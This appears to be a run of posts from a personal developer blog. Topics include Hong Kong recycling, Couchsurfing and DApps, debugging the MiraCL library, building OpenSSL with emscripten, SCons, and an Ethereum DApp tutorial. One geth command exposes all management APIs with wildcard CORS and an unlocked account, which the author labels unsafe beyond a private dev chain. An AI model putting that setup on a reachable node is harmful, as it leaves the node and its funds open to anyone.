Honestly, recycling and environment conservation both appear to be rather alien ideas around here. Restaurants overflow with piles of take-away boxes, you get a plastic bag for everything, vegetables and fruit in supermarkets is already pre-wrapped in plastic, sometimes in 2 layers! Also, it's really funny to never, ever, see squished plastic bottles in recycling collection points. It could save a lot of space and almost everyone in Czech does it. Here, the idea never appeared. Makes me wonder what other useful ideas are completely missing in some parts of the world.<br />
<br />
Everybody in cold countries knows how to walk on snow or ice. You just need to move your weight exactly over your feet before relying on that foot. Children also know how to slide on ice and can go all the way to school just sliding on the icy pavement. In HK on the other hand, even a little wet tiled floor is a serious threat. Warning triangles are deployed, <i>floor driers</i> are set in operation. I know it's to protect building management from being sued but it's just ridiculous. There is ice in HK only once per 35 years and when it comes, it's a little embarrassing:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<iframe allowfullscreen="" class="YOUTUBE-iframe-video" data-thumbnail-src="https://i.ytimg.com/vi/sGmpz32GWlI/0.jpg" frameborder="0" height="266" src="https://www.youtube.com/embed/sGmpz32GWlI?feature=player_embedded" width="320"></iframe></div>
<br /></div>
<p>
[1] Fixed incorrect claim, thx Alessio
</p>
Unknownnoreply@blogger.com1tag:blogger.com,1999:blog-4587889150885588413.post-38150304524953345942016-02-18T08:37:00.000-08:002016-02-18T09:07:14.656-08:00The fall of Couchsurfing and the need for DApps<i><b>Abstract: </b>How Ethereum DApps can be applied even outside finances and how communities can benefit from technologies of the future.</i><br />
<i> </i> <br />
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg0CCi_NZv0go3eAscRAJjfiaHHxUrg4fhINdG9htDQj01grxxXPq6XrnE2PxKldWumIgrupu3Tt2HLigx0g5vQ_oYIQtlRc_2o4R5WxEYF14jbrXPTV1B-8CiwxajGNBRZYNuo_qn7JEH4/s1600/ETHEREUM-LOGO_PORTRAIT_Black_small.png" imageanchor="1" style="float: right; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="157" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg0CCi_NZv0go3eAscRAJjfiaHHxUrg4fhINdG9htDQj01grxxXPq6XrnE2PxKldWumIgrupu3Tt2HLigx0g5vQ_oYIQtlRc_2o4R5WxEYF14jbrXPTV1B-8CiwxajGNBRZYNuo_qn7JEH4/s200/ETHEREUM-LOGO_PORTRAIT_Black_small.png" width="200" /></a>
<br />
Couchsurfing (or at least the idea of it) used to be a community of people who would welcome each other in various places around the world, show them the local culture, recommend best local places and since many people have a spare couch at home, why not let the traveller crash there for a night or two.<br />
<br />
Of course, not everybody knows everyone so people would leave references for each other after having spent some time together. The reference would include information such as how long you've known the person, whether your experience of them was positive or negative and of course a paragraph or two. The site emphasized that references are the fundamental tool to keep people secure.<br />
<br />
People have accumulated lots of positive references over the years by letting backpacking travelers crash on their couch and showing them around. People knew they could trust a bunch of good references. This good track record would make it easier to find a couch when they go traveling (which for a typical CSer is often). So we could say that having lots of good references on CS has some value and is not that easy to build.<br />
<br />
Of course, nothing lasts forever and CS, no longer a non-profit, is moving away from the original idea. The home page https://www.couchsurfing.com is saying something about staying somewhere for free. No mention of cultural exchange, making new friends. The last step they've taken is removing metadata from references, leaving only the verbal description. So you can no longer see at a glance if it's positive or negative. Want to know if that stranger is trustworthy enough to let them stay? Sure, just read through all of their references!<br />
<br />
The reason CS is doing this is because they are now owned by the same group which owns AirBnB and other paid accommodation services. "Free accommodation" using couchsurfing is not a good alternative to their paid services so they need to get rid of it. And delete years worth of good references.<br />
<br />
We could say the problem is in the amorality of new owners of CS destroying the community and something that the people have been building. Maybe. The CS website owns all the data that users have entered there and it has control over what shows on the website. They are able to do any move that's bad for the community and the users are powerless even though they create the site's content and actually the entire value of the website.<br />
<br />
It doesn't have to be like that. <strike>Scientists are working </strike>Computer nerds are working on a new Web, one where users are in control because they own the site and its data collectively. No longer having to trust one person or company that could become evil or simply sell out to some greedy profit-seeker. In this way, changes that wouldn't benefit the community could not be made, data could not be deleted.<br />
<br />
Those websites are called DApps (from distributed apps, because they are owned by multiple people) and they are slowly becoming possible thanks to technologies such as <a href="https://www.ethereum.org/" target="_blank">Ethereum</a>, <a href="https://www.reddit.com/r/btc" target="_blank">Bitcoin</a>, <a href="http://ipfs.io/" target="_blank">IPFS</a> and others. They can be used to build financial services, true democratic communities or what I've described above. Sounds interesting? Get involved! Even if you're not technical at all, an ordinary user can help a lot in this early stage. Install the apps. Start playing around, get involved in discussion, many ideas still need figuring out. Tell other people about the idea.<br />
<br />
And what is the fate of Couchsurfing? Multiple people are thinking about starting a new site. Starting from scratch, without the data that has been built in CS because there's no way to transfer the data to a new place (another problem of the old website system). Building a new CS as an DApp would not be easy at this moment because there's very little support available for DApp developers, it is a very unexplored area and needs original work to build anything, unlike traditional websites. But that will change over time.<br />
<br />
<br />
<br />
<br />Unknownnoreply@blogger.com3tag:blogger.com,1999:blog-4587889150885588413.post-50304268712910384272015-09-19T04:03:00.003-07:002015-09-19T04:29:50.164-07:00The Demons of MiraCLOnce upon a time, an old and experienced warrior set out on a grand quest towards assembling The Scroll of Distributed Identity Based Encryption. In his home village, he had equipped himself with his <a href="https://openssl.org/">trusted</a> <a href="http://www.vim.org/">weapons</a>, said a prayer for his fallen predecessors and stepped out of the village.<br />
<br />
<i>Go ahead and listen to some background music while reading:</i><br />
<div class="separator" style="clear: both; text-align: center;">
<iframe allowfullscreen="" class="YOUTUBE-iframe-video" data-thumbnail-src="https://i.ytimg.com/vi/DeXoACwOT1o/0.jpg" frameborder="0" height="266" src="https://www.youtube.com/embed/DeXoACwOT1o?feature=player_embedded" width="320"></iframe></div>
<br />
First he had to fight his way across the Plains of Emptiness. Whispering <a href="https://www.openssl.org/docs/manmaster/crypto/bn.html">ancient mantras</a>, he wielded his weapons to prevent the Ghosts of Void from taking his soul away from this world all the while as he was making his way towards the castle named Prototype. Six days he fought and on the seventh day he rested as the Test Suite Stream ran softly under the windows of the castle and all was well.<br />
<br />
That was, however, not the end of the quest. After consulting the <a href="http://www.cs.cityu.edu.hk/profile/duncan.html">the Gods</a> he realized that he'll have to part with his <a href="https://openssl.org/">old companion.</a> For the quest ahead of him was foretold to be completed with a <a href="https://www.certivox.com/miracl">different tool</a>, a weapon so powerful and ancient, that only silent whispers about the miracles it can perform roamed the world. The warrior eagerly set out on the next part of the quest, paying little heed to searching the lore for stories about his new tool.<br />
<br />
Alas, that put him at peril, right at the gate of his castle, where he needed to defeat a many-headed beast but he found the MiraCL could only deal with a fixed size numbers and any larger number, though named Big, would end in the weapon breaking completely and dumping filthy core dumps at him. After trying a few more times, he found he could get a warning from MiraCL that the numbers were too big but not always. He was confused. How could a number be "too big" for such a mighty tool? Courageously, he peered inside MiraCL to find the answer but found nothing but dismay.<br />
<br />
For you see, MiraCL is an ancient weapon, forged by the Elders long before humans walked the Earth and thus is not for a mere mortal to understand. In these times, source code comments were pure blasphemy and also memory was limited and thus The Elders decreed that only 3-letter variable names shall be used. Optical illusions, out of grasp of mere men, were abundant. Different objects with the same name appeared out of nothing and weird macros obscured his vision. Wearily, he drove the beast away and set down to meditate.<br />
<br />
In his meditations, he saw the <a href="http://docs.certivox.com/miracl">Lore of MiraCL</a> in front of his eyes and quickly understood that should have been the first place to look. For MiraCL was a thing out of this world and could not be wielded by mere mortals without peril.<br />
<br />
This also gave him the knowledge on how to combine MiraCL and the mighty Address Sanitizer, his indispensable light in the Darkness of Memory Access, guiding his step away from the gaping chasms of Segfault. To forge MiraCL together with Address Sanitizer, there are two options. One is to abolish the Assembly Script and use only pure C for summoning. To do that, add to <code>config.h</code> this option:<br />
<br />
<code>
#define MR_NOASM<br />
</code>
<br />
and omit <code>mrmuldv.c</code> from your build spell.<br />
<br />
Another way to forge MiraCL and the mighty Asan allows the use of Assembly but requires the 64b system. For that, invoke the following demonic spell inside the guts of Assembly implementation file, <code>mrmuldv.g64</code>:<br />
<br />
<code></code><br />
<pre><code>#if defined(__clang__) || defined (__GNUC__)
# define ATTRIBUTE_NO_SANITIZE_ADDRESS __attribute__((no_sanitize_address))
#else
# define ATTRIBUTE_NO_SANITIZE_ADDRESS
#endif
</code></pre>
<br />
<div>
<br /></div>
<div>
and bless every function in that file with that attribute.</div>
<br />
However, this was not the end of the quest, far from it. Our warrior went back to the Prototype castle and started replacing the OpenSSL in construction with MiraCL as was foretold. He worked hard, day and night, painstakingly looking at each brick, each beam. Once everything was in place, he rested and looked at the Test Suite Stream. But what horror he saw there! The stream was not crystal clear water as it once was but a stream of pure blood, splashing around, staining the walls. What once was in harmony with OpenSSL, now was in shatters. An ancient curse in the heart of MiraCL perhaps?<br />
<br />
The warrior had no other choice but to fight any curse because it was his destiny. And so he toiled on. He separated the stream into smaller parts, let it go through a part of the castle only. He let it test one part at a time to see the result of each. After much work, he could see which rooms of the castle left each of the little trickles crystal clear and which turned it nasty. Divide and conquer, understand parts separately and know when they work. Then you can rely on them and use them in fight to achieve correctness of larger components. He still remembered the teachings of his Temple well.<br />
<br />
But the curse was not so simple. He saw many streams running clear but once he put them together, suddenly all individual streams turned to blood! He could go through everything, seeing nothing but harmony but on the way back from the last room, everything would be in ruin again. The warrior could not believe his eyes. How was this possible? He inspected everything in detail again until he found it. He wept for hours, for with MiraCL he has awakened an evil ancient curse, thought to be long gone from our world. The Curse of Shifting Global State. Indeed, somewhere, somehow, MiraCL would shift and make all his work worthless.<br />
<br />
But he persisted, as was foretold. He knew the curse had to be stopped. Covered in bloody mud, he rose again, the flaming sword of Divide & Conquer in his hands. Unresting, he slashed and slashed through. He found the time and place of the shift. He watched the shift occur. It was a call to <code>powmod()</code> which, behind his back, changed everything in the castle into ruin. The warrior couldn't believe what was happening. The <code>powmod()</code> function looked like a little harmless bird at first. Who would imagine it causing such a havoc? And yet, it managed to trash the whole building. Such was the Curse of Shifting Global State. <br />
<i></i><br />
He waded through the misty Source of MiraCL, doing his best to decipher hidden meaning and ignoring any illusions of obfuscated C. There he saw that <code>powmod()</code> partners with <code>prepare_monty()</code> in its evil deed of changing a global parameter. That parameter was, however, crucial for the representation of his elliptic curves. When changed, the curves would collapse into singularity.<br />
<br />
<br />
<i>powmod() assumes that numbers use a Montgomery n-residue representation with a constant modulus. That was the case for objects of type G2 (an elliptic curve point) that are used in our app. Calling powmod() with a different modulus will change the global Montgomery settings and quietly break any existing instance of G2.</i><br />
Cleansing himself from the effects of this sin required much meditation, but eventually clarity descended on him and he saw that MiraCL can only deal with a single modulus in the whole computation. Alas, he needed to work with different moduli and that was why The Elders sent a curse upon him. This curse was too great; the warrior had no choice but to masterfully avoid it. He locked <code>powmod()</code> in a chest and buried it meters underground in a stone grave. After finishing this hard labour, he seeked for a replacement. Destiny was generous with him for another function, <code>power()</code> turned out to be safe and powerful enough for his purpose.<br />
<br />
Our warrior felt much lighter once this burden has been taken off his chest. Walking through the castle, with crystal water returning back to its stream, he felt in a bliss. And then he stumbled and fell down a few broken stairs. These stairs were also coming from MiraCL, they were the <code>Big.operator+=()</code>. Are they cursed too? They caused him to crash, only thanks to mighty Asan did he didn't suffer much pain. There were many other stairs in the castle, how come only these were so treacherous?<br />
<br />
This time he chose to unleash the Watchdogs of LLDB on this issue and they led him right to the tapestry on the wall that was not present anywhere else. The tapestry was named <code>otstr()</code><br />
and it displayed many numbers in hexadecimal, unfortunately it also unleashed the potential to crash in the stairs. It was a very dangerous overlook from The Elders.<br />
<br />
<i>It has turned out that a hashing function in code for IBE was implemented in a careless way, causing overflow of the Big type. It relied on the fact that such overflows are normally detected and avoided. Unfortunately this detection could be turned off as was done in otstr(). The otstr() function never enabled overflow checking again, an obvious bug. Watchpoints in LLDB were able to help detect places where mip->check was changed.</i><br />
<br />
All of this made the warrior suspect the MiraCL, but wise as he was, he remembered similar perils with his other trusted tools as well, mastering was never an easy task.<br />
<br />
<i>No, I wasn't high when writing this, just a little frustrated and this felt like fun. Maybe we should write all programming blogs like this ;-)</i> Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-4587889150885588413.post-60541448256554380202015-09-08T02:26:00.001-07:002015-09-08T02:28:10.018-07:00Compiling openssl with emscripten<i>a.k.a. the days of 10kB JavaScript are gone.</i><br />
<i><br /></i>
We are doing some crypto app prototypes and figured that having demos on the web, without having to download or install anything are quite valuable. And despite the issues on the SSL side of OpenSSL, the crypto library is still quite useful. Let's see how to build it into JavaScript using the amazing <a href="http://kripken.github.io/emscripten-site">emscripten</a>.<br />
<br />
I'm using openssl v1.0.2a which is commit <span style="font-family: Courier New, Courier, monospace;">3df69d3aefde7671053d4e3c242b228e5d79c83f</span> in the git repository. First I have emscripten prepare my environment for compilation to make sure I'm using the correct compiler, archiver and linker (emcc, ar, ld). I do<br />
<br />
<code>emmake bash</code><br />
<br />
or any other shell such as fish. I wasn't able to run emmake ./Configure or emconfigure directly so I just run a new shell. From the shell I can configure openssl as usual:<br />
<br />
<code>./Configure -no-asm -no-apps no-ssl2 no-ssl3 no-comp no-hw no-engine no-deprecated shared no-dso --openssldir=built linux-generic32</code><br />
<br />
note that 64b architecture cannot be used. I also did have to modify the generated Makefile a bit.<br />
<br />
<br />
<ol>
<li>on line 63, delete the path after $(CROSS_COMPILE) so that it looks like this:<br /><code>CC= $(CROSS_COMPILE)cc</code></li>
<li>on line 64, remove the <code>-O3</code> flag just to be sure because not all enscriptem optimizations may be compatible with openssl</li>
</ol>
<div>
after this you're able to build the library using</div>
<div>
<br /></div>
<div>
<code>make</code></div>
<div>
<br /></div>
<div>
To test, I did build one of the demos:</div>
<div>
<br /></div>
<div>
<code>emcc demos/sign/sign.c -lcrypto -o demos/sign/sign.html -Iinclude -L. --preload-file demos/sign@/</code></div>
<div>
<br /></div>
<div>
The resulting library is almost 4 MB, it may be useful to try and remove some more features. Now it's not really clear if crypto software running in this way is still secure. I know that browser Crypto API + enscriptem ensure that randomness in /dev/urandom is correct but I may need to dig into the debugger to be sure it's really used correctly.</div>
<br />
<br />
<br />
<br />
<br />Unknownnoreply@blogger.com4tag:blogger.com,1999:blog-4587889150885588413.post-69858157211471518742015-08-14T10:43:00.001-07:002015-08-16T08:53:00.921-07:00Building an ethereum ÐApp, part IV: The Frontier<b style="font-style: italic;">What is ethereum and ÐApps? </b><i>Check <a href="http://etherscripter.com/what_is_ethereum.html" target="_blank">here</a> </i><i> or </i><a href="http://www.google.com/?q=ethereum%20explained" target="_blank">search</a><br />
<i><b>This is part IV of a series. </b><a href="http://blog.rplasil.name/2015/05/building-ethereum-app-pt-i.html" target="_blank">Part I</a></i><br />
<br />
<h2>
Welcome to explore what's behind the Frontier!</h2>
<div>
The first real release of Ethereum is out and it mostly works! First, let's get out some updates to previous blog posts.</div>
<div>
<br />
<h3>
Some updates</h3>
</div>
<div>
<ul>
<li>You can now open the JavaScript console using <code>geth attach </code><span style="font-family: inherit;">which will connect to geth you've already started on your machine. But on Windows, this is still not working very well. A fix is underway. <a href="https://www.reddit.com/r/ethereum/comments/3g7j8h/sending_transactions_in_cli_faq/">See more here.</a></span></li>
<li>You may want to use the <a href="https://github.com/ethereum/wiki/wiki/JavaScript-API#web3ethcontract">eth.contract</a> interface to create and manipulate your contract</li>
<li>Of course it's always a good idea to keep in sync with the <a href="https://github.com/ethereum/wiki/wiki/JavaScript-API">JavaScript API reference</a>!</li>
<li><code>eth.sendTransaction()</code> now returns the tx hash. To get the contract address if you've sent some code, use <code>eth.getTransactionReceipt(tx hash).contractAddress</code></li>
</ul>
<h3>
An update on running a private chain</h3>
</div>
<div>
This is the commandline I use for development:</div>
<div>
<br /></div>
<div>
<code>
geth.exe --rpc --rpccorsdomain="*" --datadir geth_private --rpcapi "admin,db,eth,debug,miner,net,shh,txpool,personal,web3" --nodiscover --networkid 7938 --genesis private_genesis.json --solc "your/path/to/solc.exe" --unlock 0</code></div>
<div>
<br />
and my genesis file is in <a href="https://github.com/Quiark/eth-devchain">https://github.com/Quiark/eth-devchain</a> . Actually all you need for a private dev chain is there.<br />
<br />
Note that:<br />
<ul>
<li>the difficulty is set to 4 so that you can create blocks immediately and even the DAG is tiny</li>
<li>the command above enables ALL management APIs to the RPC which would be a <b>totally unsafe</b> thing to do on the livenet.</li>
<li>change your path to solc.exe (can be downloaded with the cpp-ethereum or eth++ package)</li>
<li>for fake test ether, you can either just mine or edit the genesis file to assign some balance to one account. You just need to have a private and public key for that account in advance. You can create them on the live net first.</li>
</ul>
<h3>
Back to coding</h3>
</div>
<div>
I've come to the stage where I need to implement payouts in my <a href="https://github.com/quiark/Roboth.web3">Roboth.web3</a> dapp based on which user has the most upvotes. In a few words, this app lets user post a problem (a <i>job</i>) and ask the crowd to provide <i>solutions</i>. Users up/down vote solutions and after a fixed amount of time, the highest rated solution gets selected and paid the amount initially offered with the problem. There are a number of problems with that, two of them I'm going to discuss.</div>
<div>
<br /></div>
<h4>
<b>Timed automatic payouts</b></h4>
<div>
Payout to the highest rated user should occur at a certain time, ideally automatically. Ethereum by itself doesn't support auto-triggering function calls. In this case, the solution is simple: let the supposed receiver of the payout ask for it themselves. After the contract verifies he is indeed the correct receiver, it can send out the payment.</div>
<div>
To make it even better, our centralized server or the JS application can handle this automatically so that the human does not need to think about it and can instead focus on whatever thing humans like to do. The JS side of the dapp can query our contract if user is eligible for a payout using a const function in the contract - one that only reads data and is free to execute.</div>
<div>
I haven't implemented this in my dapp yet, wait for next blog post to see how it turns out.</div>
<h4>
<b>Finding highest rated solution</b></h4>
<div>
Each solution can be up or down voted by any user, much like this happens on StackExchange. That means the top position can change dynamically. When payout time comes, we need to find the top player for that particular job. Depending on what data structure is used, this can be time consuming and time equals gas equals money. If you have all solutions in one list, finding the max is just a linear operation and could be fine if you don't expect too many of them. In my case, solutions for a single job are not located together so to find it, I would have to iterate over all<b> </b>solutions for all jobs which would be very costly. </div>
<div>
The top rated solution can be cached so that it can be retrieved immediately. Since the top solution can come to the top and leave it again when downvoted, we need to use a <a href="https://en.wikipedia.org/wiki/Heap_(data_structure)">heap data structure</a> to perform such changes efficiently. A heap can be implemented using a simple array so the lack of pointers in Solidity should not be an issue.<br />
Another factor to weigh is the gas price of storage. Having too many repeated storage slots can be costly. Writing new item to storage is priced at 20k gas, reading is at 5k and deleting that item (by setting it to 0) actually refunds 10k.</div>
<div>
Again, implementation is pending so check out my next blog post :)</div>
<div>
For reference,<br />
<br />
<ul>
<li><a href="https://github.com/ethereum/go-ethereum/blob/master/params/protocol_params.go">currently used gas costs</a>,</li>
<li><a href="https://github.com/ethereum/go-ethereum/blob/develop/core/vm/jit.go#L431">storage manipulation costs</a></li>
</ul>
<br />
<br /></div>
<div>
<br /></div>
Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-4587889150885588413.post-28197210774713711182015-06-24T23:15:00.000-07:002015-06-24T23:15:15.931-07:00Correct SCons variantdir and emittersI'm using <a href="http://www.scons.org/">SCons</a> to build my C++ stuff across platforms and as usual, my build config is gradually getting more complex. I always like to have build output in a separate directory, for cleanliness. I use a <i>VariantDir </i>command to do that. The problem is that variant dirs are always a bit tricky to understand and do properly, so here are some notes on how to avoid screwing up.<br />
<br />
<h3>
Use the Node, Luke!</h3>
<div>
Items in the SCons build tree are represented as Nodes, not only plain file names. In the case of an output into your VariantDir, the node will remember the output path (such as <i>build/file.o</i>) as well as the original source input path (<i>file.o</i>) and for both of these, it also knows the absolute path. These properties are something you'll always want to see when debugging.</div>
<div>
<br /></div>
<code>
</code>
<br />
<div>
<code>print n.abspath</code></div>
<code>
</code>
<br />
<div>
<code>print n.srcnode().abspath</code></div>
<code>
</code>
<br />
<div>
<br /></div>
<div>
See the section <a href="http://scons.org/doc/production/HTML/scons-man.html#file_and_directory_nodes">File and Directory Nodes</a> for specific property documentation.<br />
<br />
<h3>
Use the Emitters, Leia!</h3>
</div>
<div>
SCons is a little obsessive and really likes to keep track of <i>everything</i>. It likes to know what files come in and what will fall out. With this information, it can make sure everything is properly rebuilt on any change and it can nicely clean your directory with the <i>-c</i> switch.</div>
<div>
<br /></div>
<div>
If you need to call some external command, it's a good idea to provide this information to SCons so that it knows what will happen. In my build, I need to generate header files for JNI classes using <i>javah</i>. The built-in tool doesn't really work for me because it needs Java compilation first so I ended up writing my own.</div>
<div>
<br /></div>
<div>
The file and class names in Java are tightly coupled, you can pretty much just do </div>
<div>
<br /></div>
<code>
file = clsname.replace('.', '/') + '.java'</code>
<br />
<div>
<br /></div>
<div>
to find the source file for a class. I'm using this fact to make my emitter. I take great care to have the correct .java files listed as the source for the Builder. Having only the directory just doesn't cut it, I have to Glob() in subdirs too. To have a good idea of what's happening, I first debug-print my source and target nodes in the emitter:<br />
<br />
<code>
def emit_javah(target, source, env):<br />
print 'emit source', [x.abspath for x in source]<br />
print 'emit target orig', [x.abspath for x in target]<br />
</code>
<br />
<div>
<br />
The emitted target node doesn't need to have an absolute path or contain the VariantDir name, that should be handled by SCons. Just imagine you are building in the same directory and return a relative path.</div>
<br /></div>
Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-4587889150885588413.post-35072755063261169372015-05-28T09:32:00.002-07:002015-05-28T09:32:26.375-07:00Building an ethereum ÐApp, part III<b style="font-style: italic;">What is ethereum and ÐApps? </b><i>Check <a href="http://etherscripter.com/what_is_ethereum.html" target="_blank">here</a> </i><i> or </i><a href="http://www.google.com/?q=ethereum%20explained" target="_blank">search</a><br />
<i><b>This is part III of a series. </b><a href="http://blog.rplasil.name/2015/05/building-ethereum-app-pt-i.html" target="_blank">Part I</a></i><br />
<br />
<h2>
Diving into the code</h2>
<div>
My simple proof-of-concept app can be seen at <a href="https://github.com/Quiark/Roboth.web3">https://github.com/Quiark/Roboth.web3</a> and is based on the <a href="https://github.com/SilentCicero/meteor-dapp-boilerplate">meteor-dapp-boilerplate</a> project. The smart contract is called <i>Roboth</i> and is deployed on the (currently testing) blockchain, registered with the <a href="http://ethereum.gitbooks.io/frontier-guide/content/contract_namereg.html">Global Registrar</a> under the same name. However, I'm still working on it so be prepared to encounter a broken, invalid or a stupid deployment at any time.<br />
<br />
<h4>
Thoughts on deploying beta contract versions</h4>
Now this is clearly not a best practice to push stupid code right into the public production environment. I could register the work-in-progress update with the Registrar under a different name such as "Roboth.RC-1" and config my JS frontend to interface with this instance. Alternatively, I could run geth (the ethereum client) on a private testnet using the command line switch<br />
<br />
<code>
geth --networkid <random number here> --maxpeers 0<br />
</code>
<br />
<code><br /></code>
or by disconnecting my wifi. It would also require me to clean my blockchain database because I would be starting from scratch effectively. In this way, I could mine all ether by myself and thus have enough for funding any experiments.<br />
<br />
<h4>
Simple Python compile & deploy script</h4>
</div>
<div>
If you prefer your <a href="http://www.vim.org/">cozy text editor</a> over cool <a href="http://meteor-dapp-cosmo.meteor.com/">web based development environments</a>, you may find my Python script for compilation and deployment mildly useful. It's included right there in the Roboth.web3 repository as <a href="https://github.com/Quiark/Roboth.web3/blob/master/tools/contract.py">tools/contract.py</a>, for free without any hidden costs.</div>
<div>
<br /></div>
<div>
It can handle the following tasks:</div>
<div>
<ul>
<li>compile contract code on your geth node (I'm using Windows and don't have a solc binary)</li>
<li>deploy compiled contract</li>
<li>register the newly deployed contract's address with the Registrar</li>
<li>remember compiled code, ABI and address so you can go back and use any earlier-deployed version in case you forgot some semi-important data there (you don't have any really-important data because otherwise you'd be using some more serious and stable software)</li>
<li>save the new ABI as JSON to a JS file automatically loaded by Meteor</li>
<li>invoke some methods of the contract after deployment so you are not testing with an empty database (must be customised for your particular contract)</li>
<li>use hard-coded file paths so you know where to put your files by reading source code (ehm)</li>
</ul>
<div>
Currently it cannot do:</div>
</div>
<div>
<ul>
<li>watch files for changes</li>
<li>report solc compilation errors very precisely</li>
<li>integrate very well with your <a href="http://www.gnu.org/software/emacs">cozy text editor</a></li>
<li>find the <a href="https://www.goodreads.com/book/show/8694.Life_the_Universe_and_Everything?ac=1">meaning</a> <a href="https://www.youtube.com/watch?v=NcHdF1eHhgc">of life</a></li>
</ul>
<div>
To use it, you'll need to modify the code a bit, edit the geth RPC address where <i>EthRpc</i> is instantiated, edit your primary account in <i>prim_acc</i> and possibly also the contract name variable <i>con_name</i>. When running, current working directory must be <i>tools</i> (that's where the script is located). The tool currently doesn't accept commandline arguments, it must be configured by changing the code at the end of the file.<br />
<br />
It also has some dependencies, <a href="https://github.com/ethereum/pyethereum">this one</a> and <a href="https://github.com/Quiark/overlog">this one too</a>.</div>
</div>
<div>
<br /></div>
<h4>
Working with your contract from the JS app</h4>
<div>
By now you may already be rather familiar with the incantation that takes your contract's binary ABI and its blockchain address and creates a proxy object to call it. It looks like this</div>
<div>
<br /></div>
<div>
<div>
<code>
<span class="Apple-tab-span" style="white-space: pre;"> </span>this. RegistrarABI = [{"constant":true,"inputs":[{"name":"_owner","........</code></div>
<div>
<code><span class="Apple-tab-span" style="white-space: pre;"> </span>this. RegistrarAddr = "0xc6d9d2cd449a754c494264e1809c50e34d64562b";</code></div>
<code>
</code>
<br />
<div>
<code><span class="Apple-tab-span" style="white-space: pre;"> </span>this. RegistrarAPI = web3.eth.contract(this.RegistrarABI);</code></div>
<code>
</code>
<br />
<div>
<code><span class="Apple-tab-span" style="white-space: pre;"> </span>this. Registrar = this.RegistrarAPI.at(this.RegistrarAddr);</code></div>
<code>
</code></div>
<div>
<br />
This is required because even though we write the contract code in <a href="https://github.com/ethereum/wiki/wiki/Solidity-Tutorial">Solidity</a>, it's compiled into EVM bytecode and even though we use functions, arrays and mappings, these have a different representation on the blockchain (which is also different from linear memory layout we are used with RAM). The JSON RPC we are using is operating at the low level and it doesn't really know how to call Solidity functions. But the <a href="https://github.com/ethereum/web3.js">web3.js</a> library knows how to call it, assuming you provide the ABI description that fell out of the solidity compiler.<br />
<br />
So in this code snippet, there's a hardcoded ABI for the official testnet registrar contract that I stole directly from geth source code, its official testnet address which I also stole from the same place. Next, the <i>RegistrarAPI</i> creates a class as you know it from OOP languages (if you are coming from C++ or Java, you may not believe that a single function call can create a class but yeah, dynamic languages can do that). On the last line, we instantiate this class using its static method <i>at()</i> and the instance will communicate with the contract on the given blockchain address.<br />
<br />
The same procedure would be used for our own contract except that its ABI is automatically generated by the Python script and included by Meteor from <i>client/lib/compatibility/Roboth.abi.js </i>because it's under rapid development and thus changing all the time. Furthermore, the address is fetched from the Registrar where it's stored by the same script on each deployment. <a href="https://github.com/Quiark/Roboth.web3/blob/master/app/client/lib/compatibility/RoEth.js#L14">See here</a> for yourself.<br />
<br />
Once you have a proxy instance, you can call methods and send transactions almost the same way as in regular OOP languages. These are the 2 ways to invoke a method and it's explained in the <a href="http://ethereum.gitbooks.io/frontier-guide/">Frontier Guide</a>.<br />
<br />
<h4>
The simplest way ever to store a growing mapping in Solidity</h4>
</div>
<div>
Assigning some data to an user or an address in Solidity is quite easy, just use the mapping type:</div>
<div>
<br /></div>
<code>
mapping (address => MyData) mydatas;</code>
<br />
<div>
<br /></div>
<div>
What happens, however, when you want to iterate over the keys or values to display it in your app? This is not currently supported and I believe wouldn't be so easy to implement because the data layout is not linear. A simple solution is to add an integer index</div>
<div>
<br /></div>
<code>
mapping (uint => address) users;</code><br />
<code>
uint next_user_ix;</code>
<br />
<div>
<br /></div>
<div>
Now we can iterate from 0 to <i>next_user_ix</i> and get all users in the range. Of course this requires that you maintain the index manually, adding to it each time a value is added to the original mapping. This approach is very simple but it doesn't really work well when you also need to remove values. You can see the <a href="https://forum.ethereum.org/discussion/1995/iterating-mapping-types">forum post on this problem</a> for other people's ideas.</div>
<div>
<br /></div>
<div>
<br />
<h4>
Ethereum values data types</h4>
<div>
I recommend always storing account balances in wei as Strings or BigNumbers. Javascript doesn't handle large integers correctly and wei balances are always going to be pretty large. Furthermore, given the number of units or denominations for ether, mixing them up in the code is a really big danger. The only way to stay sane is to stick with wei, just like the JSON RPC and only convert to human-friendly in the templates (using the <i>toEth</i> template helper).</div>
<div>
<br /></div>
<div>
Similarly with addresses, they come as hex string and should stay in that format</div>
<br />
<h4>
Reacting to data from blockchain</h4>
</div>
<div>
Meteor has a neat functionality that enables auto-refreshing your HTML DOM when source data changes. It's called being <b><i>reactive</i></b>™. We can use this function to some extent but keep in mind that operations on the blockchain are not instant (and also not immediately reliable until all small forks are abandoned).<br />
<br />
The most reliable way to observe changes in the blockchain is to use <a href="https://github.com/ethereum/wiki/wiki/Solidity-Tutorial#events">Solidity events</a> and <a href="https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_newfilter">install filters</a> from the RPC. However, if you don't have that for whatever reason, you can just keep polling every 6 seconds or so.<br />
<br />
The class <i>BlockchainTracker</i> is a simple wrapper that will fire an update on its <i>ReactiveVar</i> when the latest block number changes. This can be observed in an <a href="http://docs.meteor.com/#/full/tracker_autorun">autorun function</a> to trigger a refresh from the blockchain. See <i>UserDataManager</i> for an example of a dataset that needs to be updated when a new item gets added. This simple solution doesn't handle updates from other users and it may miss changes that appear 2 blocks later.<br />
<br />
<h4>
Conclusion</h4>
</div>
<div>
The app is still very much in development with many rough edges but I hope people starting out with ÐApps may find these notes useful.</div>
Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-4587889150885588413.post-31990024295524674702015-05-22T03:06:00.000-07:002015-05-25T10:09:02.733-07:00Building an ethereum ÐApp, pt. II<h3>
Hiccups on the way to ÐApping</h3>
<div>
<b style="font-style: italic;">What is ethereum and ÐApps? </b><i>Check <a href="http://etherscripter.com/what_is_ethereum.html" target="_blank">here</a> </i><i> or </i><a href="http://www.google.com/?q=ethereum%20explained" target="_blank">search</a><br />
<i><b>This is part I of a series. </b><a href="http://blog.rplasil.name/2015/05/building-ethereum-app-pt-i.html" target="_blank">Part I</a></i><br />
<br /></div>
<h4>
Not using enough gas for transactions</h4>
<div>
You know it - you send a transaction, scratch your head but nothing happens. You wait, see blocks being crafted but your transaction is just sitting there, forgotten. When you check its status using</div>
<div>
